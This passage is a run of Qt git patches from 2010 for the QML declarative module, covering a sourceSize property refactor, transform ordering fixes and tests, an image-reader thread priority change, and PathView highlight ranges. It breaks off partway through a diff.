2001 From: Alexis Menard Date: Fri, 26 Mar 2010 06:14:50 +0100 Subject: QDeclarativeItem don't need to emit childrenChanged anymore. It's done by QGraphicsItemPrivate::addChild and removeChild. Reviewed-by:akennedy --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 4 ---- 1 file changed, 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index c331af7..048e1a8 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -2587,10 +2587,6 @@ QVariant QDeclarativeItem::itemChange(GraphicsItemChange change, emit parentChanged(parentItem()); d->parentNotifier.notify(); break; - case ItemChildAddedChange: - case ItemChildRemovedChange: - emit childrenChanged(); - break; case ItemVisibleHasChanged: { for(int ii = 0; ii < d->changeListeners.count(); ++ii) { const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); -- cgit v0.12 From f16d60399b996b09b779d2a719b5e6e6b9a80903 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 26 Mar 2010 15:18:54 +1000 Subject: sourceWidth/sourceHeight -> sourceSize --- examples/declarative/images/images.qml | 23 +++++++------ .../graphicsitems/qdeclarativeimage.cpp | 21 ++++++------ .../graphicsitems/qdeclarativeimagebase.cpp | 38 ++++++---------------- .../graphicsitems/qdeclarativeimagebase_p.h | 9 ++--- .../graphicsitems/qdeclarativeimagebase_p_p.h | 3 +- .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 7 ++-- 6 files changed, 38 insertions(+), 63 deletions(-) diff --git a/examples/declarative/images/images.qml b/examples/declarative/images/images.qml index 82848df..35ce1ab 100644 --- a/examples/declarative/images/images.qml +++ b/examples/declarative/images/images.qml @@ -15,14 +15,14 @@ Rectangle { } Image { - sourceWidth: 50 - sourceHeight: 50 + sourceSize.width: 50 + sourceSize.height: 50 source: "content/lemonade.jpg" } Image { - sourceWidth: 50 - sourceHeight: 50 + sourceSize.width: 50 + sourceSize.height: 50 smooth: true source: "content/lemonade.jpg" } @@ -34,15 +34,15 @@ Rectangle { Image { scale: 1/3 - sourceWidth: 50 - sourceHeight: 50 + sourceSize.width: 50 + sourceSize.height: 50 source: "content/lemonade.jpg" } Image { scale: 1/3 - sourceWidth: 50 - sourceHeight: 50 + sourceSize.width: 50 + sourceSize.height: 50 smooth: true source: "content/lemonade.jpg" } @@ -54,15 +54,14 @@ Rectangle { Image { width: 50; height: 50; transform: Translate { x: 50 } - sourceWidth: 50 - sourceHeight: 50 + sourceSize.width: 50 + sourceSize.height: 50 source: "content/lemonade.jpg" } Image { width: 50; height: 50; transform: Translate { x: 50 } - sourceWidth: 50 - sourceHeight: 50 + sourceSize: "50x50" // syntactic sugar smooth: true source: "content/lemonade.jpg" } diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 8b93063..23a2350 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -267,28 +267,27 @@ qreal QDeclarativeImage::paintedHeight() const */ /*! - \qmlproperty int Image::sourceWidth - \qmlproperty int Image::sourceHeight + \qmlproperty QSize Image::sourceSize - These properties are the size of the loaded image, in pixels. + This properties is the size of the loaded image, in pixels. - If you set these properties explicitly, you can to control the storage + If you set this property explicitly, you can to control the storage used by a loaded image. The image will be scaled down if its intrinsic size - is greater than these values. + is greater than this value. Unlike setting the width and height properties, which merely scale the painting - of the image, these properties affect the number of pixels stored. + of the image, this property affects the number of pixels stored. - \e{Changing these properties dynamically will lead to the image source being reloaded, + \e{Changing this property dynamically will lead to the image source being reloaded, potentially even from the network if it is not in the disk cache.} - If the source is an instrinsically scalable image (eg. SVG), these properties - determine the size of the loaded image regardless of intrinsic size. You should - avoid changing these properties dynamically - rendering an SVG is \e slow compared + If the source is an instrinsically scalable image (eg. SVG), this property + determines the size of the loaded image regardless of intrinsic size. You should + avoid changing this property dynamically - rendering an SVG is \e slow compared to an image. If the source is a non-scalable image (eg. JPEG), the loaded image will - be no greater than these properties specify. For some formats (currently only JPEG), + be no greater than this property specifies. For some formats (currently only JPEG), the whole image will never actually be loaded into memory. */ diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index 3b75a85..b8d67ff 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -116,41 +116,23 @@ void QDeclarativeImageBase::setSource(const QUrl &url) load(); } -void QDeclarativeImageBase::setSourceWidth(int w) +void QDeclarativeImageBase::setSourceSize(const QSize& size) { Q_D(QDeclarativeImageBase); - if (d->sourcewidth == w) + if (d->sourcesize == size) return; - d->sourcewidth = w; + d->sourcesize = size; emit sourceSizeChanged(); if (isComponentComplete()) load(); } -int QDeclarativeImageBase::sourceWidth() const +QSize QDeclarativeImageBase::sourceSize() const { Q_D(const QDeclarativeImageBase); - return d->sourcewidth <= 0 ? implicitWidth() : d->sourcewidth; + return d->sourcesize.isValid() ? d->sourcesize : QSize(implicitWidth(),implicitHeight()); } -void QDeclarativeImageBase::setSourceHeight(int h) -{ - Q_D(QDeclarativeImageBase); - if (d->sourceheight == h) - return; - d->sourceheight = h; - emit sourceSizeChanged(); - if (isComponentComplete()) - load(); -} - -int QDeclarativeImageBase::sourceHeight() const -{ - Q_D(const QDeclarativeImageBase); - return d->sourceheight <= 0 ? implicitHeight() : d->sourceheight; -} - - void QDeclarativeImageBase::load() { Q_D(QDeclarativeImageBase); @@ -169,8 +151,8 @@ void QDeclarativeImageBase::load() update(); } else { d->status = Loading; - int reqwidth = d->sourcewidth; - int reqheight = d->sourceheight; + int reqwidth = d->sourcesize.width(); + int reqheight = d->sourcesize.width(); QSize impsize; QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async, reqwidth, reqheight); if (status != QDeclarativePixmapReply::Ready && status != QDeclarativePixmapReply::Error) { @@ -205,7 +187,7 @@ void QDeclarativeImageBase::load() if (d->status == Loading) d->status = Ready; - if (d->sourcewidth <= 0 || d->sourceheight <= 0) + if (!d->sourcesize.isValid()) emit sourceSizeChanged(); } else { d->status = Error; @@ -228,7 +210,7 @@ void QDeclarativeImageBase::requestFinished() d->pendingPixmapCache = false; QSize impsize; - if (QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async, d->sourcewidth, d->sourceheight) != QDeclarativePixmapReply::Ready) + if (QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async, d->sourcesize.width(), d->sourcesize.height()) != QDeclarativePixmapReply::Ready) d->status = Error; setImplicitWidth(impsize.width()); setImplicitHeight(impsize.height()); @@ -238,7 +220,7 @@ void QDeclarativeImageBase::requestFinished() d->progress = 1.0; emit statusChanged(d->status); emit progressChanged(1.0); - if (d->sourcewidth <= 0 || d->sourceheight <= 0) + if (!d->sourcesize.isValid()) emit sourceSizeChanged(); pixmapChange(); update(); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index 2653d0a..6c84456 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -59,8 +59,7 @@ class Q_DECLARATIVE_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) - Q_PROPERTY(int sourceWidth READ sourceWidth WRITE setSourceWidth NOTIFY sourceSizeChanged) - Q_PROPERTY(int sourceHeight READ sourceHeight WRITE setSourceHeight NOTIFY sourceSizeChanged) + Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) public: ~QDeclarativeImageBase(); @@ -74,10 +73,8 @@ public: bool asynchronous() const; void setAsynchronous(bool); - void setSourceWidth(int); - int sourceWidth() const; - void setSourceHeight(int); - int sourceHeight() const; + void setSourceSize(const QSize&); + QSize sourceSize() const; Q_SIGNALS: void sourceChanged(const QUrl &); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index cced228..de8c93a 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -68,7 +68,6 @@ public: QDeclarativeImageBasePrivate() : status(QDeclarativeImageBase::Null), progress(0.0), - sourcewidth(0), sourceheight(0), pendingPixmapCache(false), async(false) { @@ -79,7 +78,7 @@ public: QDeclarativeImageBase::Status status; QUrl url; qreal progress; - int sourcewidth, sourceheight; + QSize sourcesize; bool pendingPixmapCache : 1; bool async : 1; }; diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index c7dcbea..9073750 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -257,7 +257,7 @@ void tst_qdeclarativeimage::pixmap() void tst_qdeclarativeimage::svg() { - QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/heart.svg\"; sourceWidth: 300; sourceHeight: 300 }"; + QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/heart.svg\"; sourceSize.width: 300; sourceSize.height: 300 }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -268,8 +268,7 @@ void tst_qdeclarativeimage::svg() QCOMPARE(obj->height(), 500.0); QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); - obj->setSourceWidth(200); - obj->setSourceHeight(200); + obj->setSourceSize(QSize(200,200)); QCOMPARE(obj->pixmap().width(), 200); QCOMPARE(obj->pixmap().height(), 200); @@ -282,7 +281,7 @@ void tst_qdeclarativeimage::svg() void tst_qdeclarativeimage::big() { - QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/big.jpeg\"; sourceWidth: 256; sourceHeight: 256 }"; + QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/big.jpeg\"; sourceSize.width: 256; sourceSize.height: 256 }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); -- cgit v0.12 From 70e50ecc276e063da2ebb26faa3d7c4152bbdea6 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 26 Mar 2010 15:54:23 +1000 Subject: Simple case, no size returned. Fixes Particles plugin. --- src/declarative/util/qdeclarativepixmapcache_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h index 0ccf469..df71d65 100644 --- a/src/declarative/util/qdeclarativepixmapcache_p.h +++ b/src/declarative/util/qdeclarativepixmapcache_p.h @@ -95,7 +95,7 @@ private: class Q_DECLARATIVE_EXPORT QDeclarativePixmapCache { public: - static QDeclarativePixmapReply::Status get(const QUrl& url, QPixmap *pixmap, QSize *impsize, bool async=false, int req_width=0, int req_height=0); + static QDeclarativePixmapReply::Status get(const QUrl& url, QPixmap *pixmap, QSize *impsize=0, bool async=false, int req_width=0, int req_height=0); static QDeclarativePixmapReply *request(QDeclarativeEngine *, const QUrl& url, int req_width=0, int req_height=0); static void cancel(const QUrl& url, QObject *obj); static int pendingRequests(); -- cgit v0.12 From a9f11eea6b4985c9ff2ebcbe1b52acc7a5c64250 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 26 Mar 2010 15:59:18 +1000 Subject: Fix namespace. --- src/declarative/graphicsitems/qdeclarativetranslate.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativetranslate.cpp b/src/declarative/graphicsitems/qdeclarativetranslate.cpp index 57c47f0..dd6ca92 100644 --- a/src/declarative/graphicsitems/qdeclarativetranslate.cpp +++ b/src/declarative/graphicsitems/qdeclarativetranslate.cpp @@ -44,6 +44,8 @@ #include #include +QT_BEGIN_NAMESPACE + class QDeclarativeTranslatePrivate : public QGraphicsTransformPrivate { public: @@ -156,4 +158,4 @@ void QDeclarativeTranslate::applyTo(QMatrix4x4 *matrix) const \sa QDeclarativeTranslate::z */ -//#include "moc_qdeclarativetranslate.cpp" +QT_END_NAMESPACE -- cgit v0.12 From 56309fe1461c4ea3ca654e535a525165c28a0f12 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 26 Mar 2010 15:59:43 +1000 Subject: Test transforms. --- .../qdeclarativeitem/tst_qdeclarativeitem.cpp | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp index 7665e18..d800411 100644 --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp @@ -61,6 +61,8 @@ private slots: void mapCoordinates(); void mapCoordinates_data(); void propertyChanges(); + void transforms(); + void transforms_data(); private: template @@ -402,6 +404,25 @@ void tst_QDeclarativeItem::mapCoordinates_data() QTest::newRow(QTest::toString(i)) << i << i; } +void tst_QDeclarativeItem::transforms_data() +{ + QTest::addColumn("qml"); + QTest::addColumn("matrix"); + QTest::newRow("translate") << QByteArray("import Qt 4.6\nItem { transform: Translate { x: 10; y: 20 } }") << QMatrix(1,0,0,1,10,20); + QTest::newRow("rotation") << QByteArray("import Qt 4.6\nItem { transform: Rotation { angle: 90 } }") << QMatrix(0,1,-1,0,0,0); + QTest::newRow("scale") << QByteArray("import Qt 4.6\nItem { transform: Scale { xScale: 1.5; yScale: -2 } }") << QMatrix(1.5,0,0,-2,0,0); +} + +void tst_QDeclarativeItem::transforms() +{ + QFETCH(QByteArray, qml); + QFETCH(QMatrix, matrix); + QDeclarativeComponent component(&engine); + component.setData(qml, QUrl::fromLocalFile("")); + QDeclarativeItem *item = qobject_cast(component.create()); + QCOMPARE(item->sceneMatrix(), matrix); +} + void tst_QDeclarativeItem::propertyChanges() { QDeclarativeView *canvas = new QDeclarativeView(0); -- cgit v0.12 From b8952aef84c78949959728674db39eafb19efee7 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 26 Mar 2010 17:02:53 +1000 Subject: Test and fix order of transform application. Remove Translate.z since Qt cannot sensibly support it yet. --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 9 +++--- .../graphicsitems/qdeclarativetranslate.cpp | 33 +++------------------- .../graphicsitems/qdeclarativetranslate_p.h | 4 --- src/gui/graphicsview/qgraphicsitem.cpp | 16 +++++++++++ src/gui/graphicsview/qgraphicsitem_p.h | 1 + .../qdeclarativeitem/tst_qdeclarativeitem.cpp | 14 ++++++--- 6 files changed, 36 insertions(+), 41 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 048e1a8..611535c 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -89,11 +89,12 @@ QT_BEGIN_NAMESPACE /*! \qmlclass Translate QGraphicsTranslate \since 4.7 - \brief The Translate object provides a way to move an Item without changing its x or y. + \brief The Translate object provides a way to move an Item without changing its x or y properties. The Translate object independent control over position in addition to the Item's x and y properties. - The following example moves the X axis of the Rectangle, relative to its interior point 25, 25: + The following example moves the Y axis of the Rectangles while still allowing the Row element + to lay the items out as if they had not been transformed: \qml Row { Rectangle { @@ -1562,8 +1563,8 @@ int QDeclarativeItemPrivate::transform_count(QDeclarativeListProperty *list, QGraphicsTransform *item) { QGraphicsObject *object = qobject_cast(list->object); - if (object) - QGraphicsItemPrivate::get(object)->appendGraphicsTransform(item); + if (object) // QGraphicsItem applies the list in the wrong order, so we prepend. + QGraphicsItemPrivate::get(object)->prependGraphicsTransform(item); } QGraphicsTransform *QDeclarativeItemPrivate::transform_at(QDeclarativeListProperty *list, int idx) diff --git a/src/declarative/graphicsitems/qdeclarativetranslate.cpp b/src/declarative/graphicsitems/qdeclarativetranslate.cpp index dd6ca92..1c96fa4 100644 --- a/src/declarative/graphicsitems/qdeclarativetranslate.cpp +++ b/src/declarative/graphicsitems/qdeclarativetranslate.cpp @@ -50,10 +50,9 @@ class QDeclarativeTranslatePrivate : public QGraphicsTransformPrivate { public: QDeclarativeTranslatePrivate() - : x(0), y(0), z(0) {} + : x(0), y(0) {} qreal x; qreal y; - qreal z; }; /*! @@ -77,7 +76,7 @@ QDeclarativeTranslate::~QDeclarativeTranslate() The translation can be any real number; the default value is 0.0. - \sa y, z + \sa y */ qreal QDeclarativeTranslate::x() const { @@ -100,7 +99,7 @@ void QDeclarativeTranslate::setX(qreal x) The translation can be any real number; the default value is 0.0. - \sa x, z + \sa x */ qreal QDeclarativeTranslate::y() const { @@ -118,35 +117,12 @@ void QDeclarativeTranslate::setY(qreal y) } /*! - \property QDeclarativeTranslate::z - \brief the depth translation. - - The translation can be any real number; the default value is 0.0. - - \sa x, y -*/ -qreal QDeclarativeTranslate::z() const -{ - Q_D(const QDeclarativeTranslate); - return d->z; -} -void QDeclarativeTranslate::setZ(qreal z) -{ - Q_D(QDeclarativeTranslate); - if (d->z == z) - return; - d->z = z; - update(); - emit positionChanged(); -} - -/*! \reimp */ void QDeclarativeTranslate::applyTo(QMatrix4x4 *matrix) const { Q_D(const QDeclarativeTranslate); - matrix->translate(d->x, d->y, d->z); + matrix->translate(d->x, d->y, 0); } /*! @@ -155,7 +131,6 @@ void QDeclarativeTranslate::applyTo(QMatrix4x4 *matrix) const QDeclarativeTranslate emits this signal when its position changes. \sa QDeclarativeTranslate::x, QDeclarativeTranslate::y - \sa QDeclarativeTranslate::z */ QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativetranslate_p.h b/src/declarative/graphicsitems/qdeclarativetranslate_p.h index 54bfc3d..1371f71 100644 --- a/src/declarative/graphicsitems/qdeclarativetranslate_p.h +++ b/src/declarative/graphicsitems/qdeclarativetranslate_p.h @@ -58,7 +58,6 @@ class Q_GUI_EXPORT QDeclarativeTranslate : public QGraphicsTransform Q_PROPERTY(qreal x READ x WRITE setX NOTIFY positionChanged) Q_PROPERTY(qreal y READ y WRITE setY NOTIFY positionChanged) - Q_PROPERTY(qreal z READ z WRITE setZ NOTIFY positionChanged) public: QDeclarativeTranslate(QObject *parent = 0); @@ -70,9 +69,6 @@ public: qreal y() const; void setY(qreal); - qreal z() const; - void setZ(qreal); - void applyTo(QMatrix4x4 *matrix) const; Q_SIGNALS: diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp index b407eef..36203de 100644 --- a/src/gui/graphicsview/qgraphicsitem.cpp +++ b/src/gui/graphicsview/qgraphicsitem.cpp @@ -3843,6 +3843,22 @@ void QGraphicsItem::setTransformations(const QList &transf /*! \internal */ +void QGraphicsItemPrivate::prependGraphicsTransform(QGraphicsTransform *t) +{ + if (!transformData) + transformData = new QGraphicsItemPrivate::TransformData; + if (!transformData->graphicsTransforms.contains(t)) + transformData->graphicsTransforms.prepend(t); + + Q_Q(QGraphicsItem); + t->d_func()->setItem(q); + transformData->onlyTransform = false; + dirtySceneTransform = 1; +} + +/*! + \internal +*/ void QGraphicsItemPrivate::appendGraphicsTransform(QGraphicsTransform *t) { if (!transformData) diff --git a/src/gui/graphicsview/qgraphicsitem_p.h b/src/gui/graphicsview/qgraphicsitem_p.h index b53c545..b6be79d 100644 --- a/src/gui/graphicsview/qgraphicsitem_p.h +++ b/src/gui/graphicsview/qgraphicsitem_p.h @@ -276,6 +276,7 @@ public: virtual void setPosHelper(const QPointF &pos); void setTransformHelper(const QTransform &transform); + void prependGraphicsTransform(QGraphicsTransform *t); void appendGraphicsTransform(QGraphicsTransform *t); void setVisibleHelper(bool newVisible, bool explicitly, bool update = true); void setEnabledHelper(bool newEnabled, bool explicitly, bool update = true); diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp index d800411..46f3517 100644 --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp @@ -408,9 +408,14 @@ void tst_QDeclarativeItem::transforms_data() { QTest::addColumn("qml"); QTest::addColumn("matrix"); - QTest::newRow("translate") << QByteArray("import Qt 4.6\nItem { transform: Translate { x: 10; y: 20 } }") << QMatrix(1,0,0,1,10,20); - QTest::newRow("rotation") << QByteArray("import Qt 4.6\nItem { transform: Rotation { angle: 90 } }") << QMatrix(0,1,-1,0,0,0); - QTest::newRow("scale") << QByteArray("import Qt 4.6\nItem { transform: Scale { xScale: 1.5; yScale: -2 } }") << QMatrix(1.5,0,0,-2,0,0); + QTest::newRow("translate") << QByteArray("Translate { x: 10; y: 20 }") + << QMatrix(1,0,0,1,10,20); + QTest::newRow("rotation") << QByteArray("Rotation { angle: 90 }") + << QMatrix(0,1,-1,0,0,0); + QTest::newRow("scale") << QByteArray("Scale { xScale: 1.5; yScale: -2 }") + << QMatrix(1.5,0,0,-2,0,0); + QTest::newRow("sequence") << QByteArray("[ Translate { x: 10; y: 20 }, Scale { xScale: 1.5; yScale: -2 } ]") + << QMatrix(1,0,0,1,10,20) * QMatrix(1.5,0,0,-2,0,0); } void tst_QDeclarativeItem::transforms() @@ -418,8 +423,9 @@ void tst_QDeclarativeItem::transforms() QFETCH(QByteArray, qml); QFETCH(QMatrix, matrix); QDeclarativeComponent component(&engine); - component.setData(qml, QUrl::fromLocalFile("")); + component.setData("import Qt 4.6\nItem { transform: "+qml+"}", QUrl::fromLocalFile("")); QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); QCOMPARE(item->sceneMatrix(), matrix); } -- cgit v0.12 From d432123cec9ac927ec9162fa8b3d16684483f994 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 26 Mar 2010 17:17:37 +1000 Subject: Use QThread IdlePriority rather than linux platform code. Task-number: QTBUG-9032 --- src/declarative/util/qdeclarativepixmapcache.cpp | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index bbe86e7..54dccce 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -60,11 +60,6 @@ #include #include -#ifdef Q_OS_LINUX -#include -#include -#endif - // Maximum number of simultaneous image requests to send. static const int maxImageRequestCount = 8; @@ -364,7 +359,7 @@ void QDeclarativeImageRequestHandler::networkRequestDone() QDeclarativeImageReader::QDeclarativeImageReader(QDeclarativeEngine *eng) : QThread(eng), engine(eng), handler(0) { - start(QThread::LowPriority); + start(QThread::IdlePriority); } QDeclarativeImageReader::~QDeclarativeImageReader() @@ -417,14 +412,6 @@ void QDeclarativeImageReader::cancel(QDeclarativePixmapReply *reply) void QDeclarativeImageReader::run() { -#if defined(Q_OS_LINUX) && defined(SCHED_IDLE) - struct sched_param param; - int policy; - - pthread_getschedparam(pthread_self(), &policy, ¶m); - pthread_setschedparam(pthread_self(), SCHED_IDLE, ¶m); -#endif - handler = new QDeclarativeImageRequestHandler(this, engine); exec(); -- cgit v0.12 From c4448162a00b6a069b562756d5608d821f700546 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 26 Mar 2010 18:13:29 +1000 Subject: Added highlight ranges/modes to PathView Task-number: QT-319 --- src/declarative/QmlChanges.txt | 1 + .../graphicsitems/qdeclarativepathview.cpp | 286 +++++++++++++++++---- .../graphicsitems/qdeclarativepathview_p.h | 23 +- .../graphicsitems/qdeclarativepathview_p_p.h | 28 +- .../qdeclarativepathview/data/displaypath.qml | 1 - .../qdeclarativepathview/data/pathview0.qml | 1 - .../qdeclarativepathview/data/pathview3.qml | 4 +- .../qdeclarativepathview/data/propertychanges.qml | 3 +- .../tst_qdeclarativepathview.cpp | 19 +- 9 files changed, 297 insertions(+), 69 deletions(-) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index d35a4c2..6ab77a7 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -16,6 +16,7 @@ ScriptAction: renamed stateChangeScriptName -> scriptName Animation: replace repeat with loops (loops: Animation.Infinite gives the old repeat behavior) AnchorChanges: use natural form to specify anchors (anchors.left instead of left) AnchorChanges: removed reset property. (reset: "left" should now be anchors.left: undefined) +PathView: snapPosition replaced by preferredHighlightBegin, preferredHighlightEnd C++ API ------- diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 783387c..9b548d4 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -44,6 +44,7 @@ #include #include +#include #include #include #include @@ -146,20 +147,23 @@ void QDeclarativePathViewPrivate::updateMappedRange() mappedRange = 1.0; } -qreal QDeclarativePathViewPrivate::positionOfIndex(int index) const +qreal QDeclarativePathViewPrivate::positionOfIndex(qreal index) const { qreal pos = -1.0; if (model && index >= 0 && index < model->count()) { - qreal globalPos = qreal(index) + offset; + qreal start = 0.0; + if (haveHighlightRange && highlightRangeMode != QDeclarativePathView::NoHighlightRange) + start = highlightRangeStart; + qreal globalPos = index + offset; globalPos = qmlMod(globalPos, qreal(model->count())) / model->count(); if (pathItems != -1 && pathItems < model->count()) { - globalPos += snapPos * mappedRange; + globalPos += start * mappedRange; globalPos = qmlMod(globalPos, 1.0); if (globalPos < mappedRange) pos = globalPos / mappedRange; } else { - pos = qmlMod(globalPos + snapPos, 1.0); + pos = qmlMod(globalPos + start, 1.0); } } @@ -169,6 +173,9 @@ qreal QDeclarativePathViewPrivate::positionOfIndex(int index) const void QDeclarativePathViewPrivate::createHighlight() { Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + bool changed = false; if (highlightItem) { delete highlightItem; @@ -203,10 +210,67 @@ void QDeclarativePathViewPrivate::createHighlight() void QDeclarativePathViewPrivate::updateHighlight() { Q_Q(QDeclarativePathView); - if (!q->isComponentComplete()) + if (!q->isComponentComplete() || !isValid()) return; - if (highlightItem) - updateItem(highlightItem, snapPos); + if (highlightItem) { + if (haveHighlightRange && highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) { + updateItem(highlightItem, highlightRangeStart); + } else { + qreal target = currentIndex; + + tl.reset(moveHighlight); + moveHighlight.setValue(highlightPosition); + + const int duration = 300; + + if (target - highlightPosition > model->count()/2) { + highlightUp = false; + qreal distance = model->count() - target + highlightPosition; + tl.move(moveHighlight, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * highlightPosition / distance)); + tl.set(moveHighlight, model->count()-0.01); + tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::OutQuad), int(duration * (model->count()-target) / distance)); + } else if (target - highlightPosition <= -model->count()/2) { + highlightUp = true; + qreal distance = model->count() - highlightPosition + target; + tl.move(moveHighlight, model->count()-0.01, QEasingCurve(QEasingCurve::InQuad), int(duration * (model->count()-highlightPosition) / distance)); + tl.set(moveHighlight, 0.0); + tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::OutQuad), int(duration * target / distance)); + } else { + highlightUp = highlightPosition - target < 0; + tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::InOutQuad), duration); + } + } + } +} + +void QDeclarativePathViewPrivate::setHighlightPosition(qreal pos) +{ + if (pos != highlightPosition) { + qreal start = 0.0; + qreal end = 1.0; + if (haveHighlightRange && highlightRangeMode != QDeclarativePathView::NoHighlightRange) { + start = highlightRangeStart; + end = highlightRangeEnd; + } + + qreal range = qreal(model->count()); + // calc normalized position of highlight relative to offset + qreal relativeHighlight = qmlMod(pos + offset, range) / range; + + if (!highlightUp && relativeHighlight > end * mappedRange) { + qreal diff = 1.0 - relativeHighlight; + setOffset(offset + diff * range); + } else if (highlightUp && relativeHighlight >= (end - start) * mappedRange) { + qreal diff = relativeHighlight - (end - start) * mappedRange; + setOffset(offset - diff * range - 0.00001); + } + + highlightPosition = pos; + qreal pathPos = positionOfIndex(pos); + updateItem(highlightItem, pathPos); + if (QDeclarativePathViewAttached *att = attached(highlightItem)) + att->setOnPath(pathPos != -1.0); + } } void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) @@ -437,9 +501,11 @@ void QDeclarativePathView::setCurrentIndex(int idx) } } } + d->moveReason = QDeclarativePathViewPrivate::SetIndex; d->currentIndex = idx; if (d->model->count()) { - d->snapToCurrent(); + if (d->haveHighlightRange && d->highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) + d->snapToCurrent(); int itemIndex = (idx - d->firstIndex + d->model->count()) % d->model->count(); if (itemIndex < d->items.count()) { QDeclarativeItem *item = d->items.at(itemIndex); @@ -447,6 +513,8 @@ void QDeclarativePathView::setCurrentIndex(int idx) if (QDeclarativePathViewAttached *att = d->attached(item)) att->setIsCurrentItem(true); } + 